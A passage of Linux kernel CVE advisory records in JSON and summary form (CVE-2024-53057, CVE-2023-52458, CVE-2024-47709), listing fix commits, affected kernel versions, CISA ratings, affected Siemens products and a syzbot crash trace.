          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: stop qdisc_tree_reduce_backlog on TC_H_ROOT\n\nIn qdisc_tree_reduce_backlog, Qdiscs with major handle ffff: are assumed\nto be either root or ingress. This assumption is bogus since it\u0027s valid\nto create egress qdiscs with major handle ffff:\nBudimir Markovic found that for qdiscs like DRR that maintain an active\nclass list, it will cause a UAF with a dangling class pointer.\n\nIn 066a3b5b2346, the concern was to avoid iterating over the ingress\nqdisc since its parent is itself. The proper fix is to stop when parent\nTC_H_ROOT is reached because the only way to retrieve ingress is when a\nhierarchy which does not contain a ffff: major handle call into\nqdisc_lookup with TC_H_MAJ(TC_H_ROOT).\n\nIn the scenario where major ffff: is an egress qdisc in any of the tree\nlevels, the updates will also propagate to TC_H_ROOT, which then the\niteration must stop.\n\n\n net/sched/sch_api.c | 2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:49:58.196Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e7f9a6f97eb067599a74f3bcb6761976b0ed303e"
        },
        {
          "url": "https://git.kernel.org/stable/c/dbe778b08b5101df9e89bc06e0a3a7ecd2f4ef20"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce691c814bc7a3c30c220ffb5b7422715458fd9b"
        },
        {
          "url": "https://git.kernel.org/stable/c/05df1b1dff8f197f1c275b57ccb2ca33021df552"
        },
        {
          "url": "https://git.kernel.org/stable/c/580b3189c1972aff0f993837567d36392e9d981b"
        },
        {
          "url": "https://git.kernel.org/stable/c/597cf9748c3477bf61bc35f0634129f56764ad24"
        },
        {
          "url": "https://git.kernel.org/stable/c/9995909615c3431a5304c1210face5f268d24dba"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e95c4384438adeaa772caa560244b1a2efef816"
        }
      ],
      "title": "net/sched: stop qdisc_tree_reduce_backlog on TC_H_ROOT",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-53057",
    "datePublished": "2024-11-19T17:19:40.284Z",
    "dateReserved": "2024-11-19T17:17:24.974Z",
    "dateUpdated": "2026-05-12T12:01:11.546Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-52458 (GCVE-0-2023-52458)

Vulnerability from cvelistv5 – Published: 2024-02-23 14:46 – Updated: 2026-05-12 11:21

Title

block: add check that partition length needs to be aligned with block size

Summary

In the Linux kernel, the following vulnerability has been resolved: block: add check that partition length needs to be aligned with block size Before calling add partition or resize partition, there is no check on whether the length is aligned with the logical block size. If the logical block size of the disk is larger than 512 bytes, then the partition size maybe not the multiple of the logical block size, and when the last sector is read, bio_truncate() will adjust the bio size, resulting in an IO error if the size of the read command is smaller than the logical block size.If integrity data is supported, this will also result in a null pointer dereference when calling bio_integrity_free.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/8f6dfa1f1efe6dcca…
https://git.kernel.org/stable/c/5010c27120962c85d…
https://git.kernel.org/stable/c/ef31cc87794731ffc…
https://git.kernel.org/stable/c/cb16cc1abda18a951…
https://git.kernel.org/stable/c/bcdc288e7bc008daf…
https://git.kernel.org/stable/c/6f64f866aa1ae6975…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 633395b67bb222f85bb8f825c7751a54b9ec84ee , < 8f6dfa1f1efe6dcca2d43e575491d8fcbe922f62 (git) Affected: 633395b67bb222f85bb8f825c7751a54b9ec84ee , < 5010c27120962c85d2f421d2cf211791c9603503 (git) Affected: 633395b67bb222f85bb8f825c7751a54b9ec84ee , < ef31cc87794731ffcb578a195a2c47d744e25fb8 (git) Affected: 633395b67bb222f85bb8f825c7751a54b9ec84ee , < cb16cc1abda18a9514106d2ac8c8d7abc0be5ed8 (git) Affected: 633395b67bb222f85bb8f825c7751a54b9ec84ee , < bcdc288e7bc008daf38ef0401b53e4a8bb61bbe5 (git) Affected: 633395b67bb222f85bb8f825c7751a54b9ec84ee , < 6f64f866aa1ae6975c95d805ed51d7e9433a0016 (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.148 , ≤ 5.15.* (semver) Unaffected: 6.1.75 , ≤ 6.1.* (semver) Unaffected: 6.6.14 , ≤ 6.6.* (semver) Unaffected: 6.7.2 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-52458",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-02-26T17:05:34.872000Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:59.886Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T23:03:19.831Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8f6dfa1f1efe6dcca2d43e575491d8fcbe922f62"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5010c27120962c85d2f421d2cf211791c9603503"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ef31cc87794731ffcb578a195a2c47d744e25fb8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cb16cc1abda18a9514106d2ac8c8d7abc0be5ed8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bcdc288e7bc008daf38ef0401b53e4a8bb61bbe5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6f64f866aa1ae6975c95d805ed51d7e9433a0016"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:21:40.288Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/ioctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8f6dfa1f1efe6dcca2d43e575491d8fcbe922f62",
              "status": "affected",
              "version": "633395b67bb222f85bb8f825c7751a54b9ec84ee",
              "versionType": "git"
            },
            {
              "lessThan": "5010c27120962c85d2f421d2cf211791c9603503",
              "status": "affected",
              "version": "633395b67bb222f85bb8f825c7751a54b9ec84ee",
              "versionType": "git"
            },
            {
              "lessThan": "ef31cc87794731ffcb578a195a2c47d744e25fb8",
              "status": "affected",
              "version": "633395b67bb222f85bb8f825c7751a54b9ec84ee",
              "versionType": "git"
            },
            {
              "lessThan": "cb16cc1abda18a9514106d2ac8c8d7abc0be5ed8",
              "status": "affected",
              "version": "633395b67bb222f85bb8f825c7751a54b9ec84ee",
              "versionType": "git"
            },
            {
              "lessThan": "bcdc288e7bc008daf38ef0401b53e4a8bb61bbe5",
              "status": "affected",
              "version": "633395b67bb222f85bb8f825c7751a54b9ec84ee",
              "versionType": "git"
            },
            {
              "lessThan": "6f64f866aa1ae6975c95d805ed51d7e9433a0016",
              "status": "affected",
              "version": "633395b67bb222f85bb8f825c7751a54b9ec84ee",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/ioctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.148",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.75",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.148",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.75",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.14",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.2",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: add check that partition length needs to be aligned with block size\n\nBefore calling add partition or resize partition, there is no check\non whether the length is aligned with the logical block size.\nIf the logical block size of the disk is larger than 512 bytes,\nthen the partition size maybe not the multiple of the logical block size,\nand when the last sector is read, bio_truncate() will adjust the bio size,\nresulting in an IO error if the size of the read command is smaller than\nthe logical block size.If integrity data is supported, this will also\nresult in a null pointer dereference when calling bio_integrity_free."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T19:27:43.279Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8f6dfa1f1efe6dcca2d43e575491d8fcbe922f62"
        },
        {
          "url": "https://git.kernel.org/stable/c/5010c27120962c85d2f421d2cf211791c9603503"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef31cc87794731ffcb578a195a2c47d744e25fb8"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb16cc1abda18a9514106d2ac8c8d7abc0be5ed8"
        },
        {
          "url": "https://git.kernel.org/stable/c/bcdc288e7bc008daf38ef0401b53e4a8bb61bbe5"
        },
        {
          "url": "https://git.kernel.org/stable/c/6f64f866aa1ae6975c95d805ed51d7e9433a0016"
        }
      ],
      "title": "block: add check that partition length needs to be aligned with block size",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2023-52458",
    "datePublished": "2024-02-23T14:46:20.397Z",
    "dateReserved": "2024-02-20T12:30:33.294Z",
    "dateUpdated": "2026-05-12T11:21:40.288Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47709 (GCVE-0-2024-47709)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

can: bcm: Clear bo->bcm_proc_read after remove_proc_entry().

Summary

In the Linux kernel, the following vulnerability has been resolved: can: bcm: Clear bo->bcm_proc_read after remove_proc_entry(). syzbot reported a warning in bcm_release(). [0] The blamed change fixed another warning that is triggered when connect() is issued again for a socket whose connect()ed device has been unregistered. However, if the socket is just close()d without the 2nd connect(), the remaining bo->bcm_proc_read triggers unnecessary remove_proc_entry() in bcm_release(). Let's clear bo->bcm_proc_read after remove_proc_entry() in bcm_notify(). [0] name '4986' WARNING: CPU: 0 PID: 5234 at fs/proc/generic.c:711 remove_proc_entry+0x2e7/0x5d0 fs/proc/generic.c:711 Modules linked in: CPU: 0 UID: 0 PID: 5234 Comm: syz-executor606 Not tainted 6.11.0-rc5-syzkaller-00178-g5517ae241919 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024 RIP: 0010:remove_proc_entry+0x2e7/0x5d0 fs/proc/generic.c:711 Code: ff eb 05 e8 cb 1e 5e ff 48 8b 5c 24 10 48 c7 c7 e0 f7 aa 8e e8 2a 38 8e 09 90 48 c7 c7 60 3a 1b 8c 48 89 de e8 da 42 20 ff 90 <0f> 0b 90 90 48 8b 44 24 18 48 c7 44 24 40 0e 36 e0 45 49 c7 04 07 RSP: 0018:ffffc9000345fa20 EFLAGS: 00010246 RAX: 2a2d0aee2eb64600 RBX: ffff888032f1f548 RCX: ffff888029431e00 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc9000345fb08 R08: ffffffff8155b2f2 R09: 1ffff1101710519a R10: dffffc0000000000 R11: ffffed101710519b R12: ffff888011d38640 R13: 0000000000000004 R14: 0000000000000000 R15: dffffc0000000000 FS: 0000000000000000(0000) GS:ffff8880b8800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fcfb52722f0 CR3: 000000000e734000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> bcm_release+0x250/0x880 net/can/bcm.c:1578 __sock_release net/socket.c:659 [inline] sock_close+0xbc/0x240 net/socket.c:1421 __fput+0x24a/0x8a0 fs/file_table.c:422 task_work_run+0x24f/0x310 kernel/task_work.c:228 exit_task_work include/linux/task_work.h:40 [inline] do_exit+0xa2f/0x27f0 kernel/exit.c:882 do_group_exit+0x207/0x2c0 kernel/exit.c:1031 __do_sys_exit_group kernel/exit.c:1042 [inline] __se_sys_exit_group kernel/exit.c:1040 [inline] __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1040 x64_sys_call+0x2634/0x2640 arch/x86/include/generated/asm/syscalls_64.h:232 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7fcfb51ee969 Code: Unable to access opcode bytes at 0x7fcfb51ee93f. RSP: 002b:00007ffce0109ca8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fcfb51ee969 RDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000001 RBP: 00007fcfb526f3b0 R08: ffffffffffffffb8 R09: 0000555500000000 R10: 0000555500000000 R11: 0000000000000246 R12: 00007fcfb526f3b0 R13: 0000000000000000 R14: 00007fcfb5271ee0 R15: 00007fcfb51bf160 </TASK>

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/f5059fae5ed518fc5…
https://git.kernel.org/stable/c/a833da8eec20b51af…
https://git.kernel.org/stable/c/5cc00913c1fdcab86…
https://git.kernel.org/stable/c/9550baada4c8ef8ce…
https://git.kernel.org/stable/c/7a145d6ec2124bdb9…
https://git.kernel.org/stable/c/c3d941cc734e0c8dc…
https://git.kernel.org/stable/c/770b463264426cc3c…
https://git.kernel.org/stable/c/b02ed2f01240b2265…
https://git.kernel.org/stable/c/94b0818fa63555a65…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5c680022c4e28ba18ea500f3e29f0428271afa92 , < f5059fae5ed518fc56494ce5bdd4f5360de4b3bc (git) Affected: 33ed4ba73caae39f34ab874ba79138badc2c65dd , < a833da8eec20b51af39643faa7067b25c8b20f3e (git) Affected: aec92dbebdbec7567d9f56d7c9296a572b8fd849 , < 5cc00913c1fdcab861c4e65fa20d1f1e1bbbf977 (git) Affected: 10bfacbd5e8d821011d857bee73310457c9c989a , < 9550baada4c8ef8cebefccc746384842820b4dff (git) Affected: 3b39dc2901aa7a679a5ca981a3de9f8d5658afe8 , < 7a145d6ec2124bdb94bd6fc436b342ff6ddf2b70 (git) Affected: 4377b79323df62eb5d310354f19b4d130ff58d50 , < c3d941cc734e0c8dc486c062926d5249070af5e4 (git) Affected: abb0a615569ec008e8a93d9f3ab2d5b418ea94d4 , < 770b463264426cc3c167b1d44efa85f6a526ce5b (git) Affected: 76fe372ccb81b0c89b6cd2fec26e2f38c958be85 , < b02ed2f01240b226570b4a19b5041d61f5125784 (git) Affected: 76fe372ccb81b0c89b6cd2fec26e2f38c958be85 , < 94b0818fa63555a65f6ba107080659ea6bcca63e (git)
Linux	Linux	Affected: 6.11 Unaffected: 0 , < 6.11 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47709",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:03:30.318469Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:19.235Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:13.301Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:36.645Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/can/bcm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f5059fae5ed518fc56494ce5bdd4f5360de4b3bc",
              "status": "affected",
              "version": "5c680022c4e28ba18ea500f3e29f0428271afa92",
              "versionType": "git"
            },
            {
              "lessThan": "a833da8eec20b51af39643faa7067b25c8b20f3e",
              "status": "affected",
              "version": "33ed4ba73caae39f34ab874ba79138badc2c65dd",
              "versionType": "git"
            },
            {
              "lessThan": "5cc00913c1fdcab861c4e65fa20d1f1e1bbbf977",
              "status": "affected",
              "version": "aec92dbebdbec7567d9f56d7c9296a572b8fd849",
              "versionType": "git"
            },
            {
              "lessThan": "9550baada4c8ef8cebefccc746384842820b4dff",
              "status": "affected",
              "version": "10bfacbd5e8d821011d857bee73310457c9c989a",
              "versionType": "git"
            },
            {
              "lessThan": "7a145d6ec2124bdb94bd6fc436b342ff6ddf2b70",
              "status": "affected",
              "version": "3b39dc2901aa7a679a5ca981a3de9f8d5658afe8",
              "versionType": "git"
            },
            {
              "lessThan": "c3d941cc734e0c8dc486c062926d5249070af5e4",
              "status": "affected",
              "version": "4377b79323df62eb5d310354f19b4d130ff58d50",
              "versionType": "git"
            },
            {
              "lessThan": "770b463264426cc3c167b1d44efa85f6a526ce5b",
              "status": "affected",
              "version": "abb0a615569ec008e8a93d9f3ab2d5b418ea94d4",
              "versionType": "git"
            },
            {
              "lessThan": "b02ed2f01240b226570b4a19b5041d61f5125784",
              "status": "affected",
              "version": "76fe372ccb81b0c89b6cd2fec26e2f38c958be85",
              "versionType": "git"
            },
            {
              "lessThan": "94b0818fa63555a65f6ba107080659ea6bcca63e",
              "status": "affected",
              "version": "76fe372ccb81b0c89b6cd2fec26e2f38c958be85",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/can/bcm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.11"
            },
            {
              "lessThan": "6.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.19.322",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4.284",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10.226",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.15.167",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "6.1.110",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "6.6.51",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "6.10.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: bcm: Clear bo-\u003ebcm_proc_read after remove_proc_entry().\n\nsyzbot reported a warning in bcm_release(). [0]\n\nThe blamed change fixed another warning that is triggered when\nconnect() is issued again for a socket whose connect()ed device has\nbeen unregistered.\n\nHowever, if the socket is just close()d without the 2nd connect(), the\nremaining bo-\u003ebcm_proc_read triggers unnecessary remove_proc_entry()\nin bcm_release().\n\nLet\u0027s clear bo-\u003ebcm_proc_read after remove_proc_entry() in bcm_notify().\n\n[0]\nname \u00274986\u0027\nWARNING: CPU: 0 PID: 5234 at fs/proc/generic.c:711 remove_proc_entry+0x2e7/0x5d0 fs/proc/generic.c:711\nModules linked in:\nCPU: 0 UID: 0 PID: 5234 Comm: syz-executor606 Not tainted 6.11.0-rc5-syzkaller-00178-g5517ae241919 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\nRIP: 0010:remove_proc_entry+0x2e7/0x5d0 fs/proc/generic.c:711\nCode: ff eb 05 e8 cb 1e 5e ff 48 8b 5c 24 10 48 c7 c7 e0 f7 aa 8e e8 2a 38 8e 09 90 48 c7 c7 60 3a 1b 8c 48 89 de e8 da 42 20 ff 90 \u003c0f\u003e 0b 90 90 48 8b 44 24 18 48 c7 44 24 40 0e 36 e0 45 49 c7 04 07\nRSP: 0018:ffffc9000345fa20 EFLAGS: 00010246\nRAX: 2a2d0aee2eb64600 RBX: ffff888032f1f548 RCX: ffff888029431e00\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: ffffc9000345fb08 R08: ffffffff8155b2f2 R09: 1ffff1101710519a\nR10: dffffc0000000000 R11: ffffed101710519b R12: ffff888011d38640\nR13: 0000000000000004 R14: 0000000000000000 R15: dffffc0000000000\nFS:  0000000000000000(0000) GS:ffff8880b8800000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fcfb52722f0 CR3: 000000000e734000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n bcm_release+0x250/0x880 net/can/bcm.c:1578\n __sock_release net/socket.c:659 [inline]\n sock_close+0xbc/0x240 net/socket.c:1421\n __fput+0x24a/0x8a0 fs/file_table.c:422\n task_work_run+0x24f/0x310 kernel/task_work.c:228\n exit_task_work include/linux/task_work.h:40 [inline]\n do_exit+0xa2f/0x27f0 kernel/exit.c:882\n do_group_exit+0x207/0x2c0 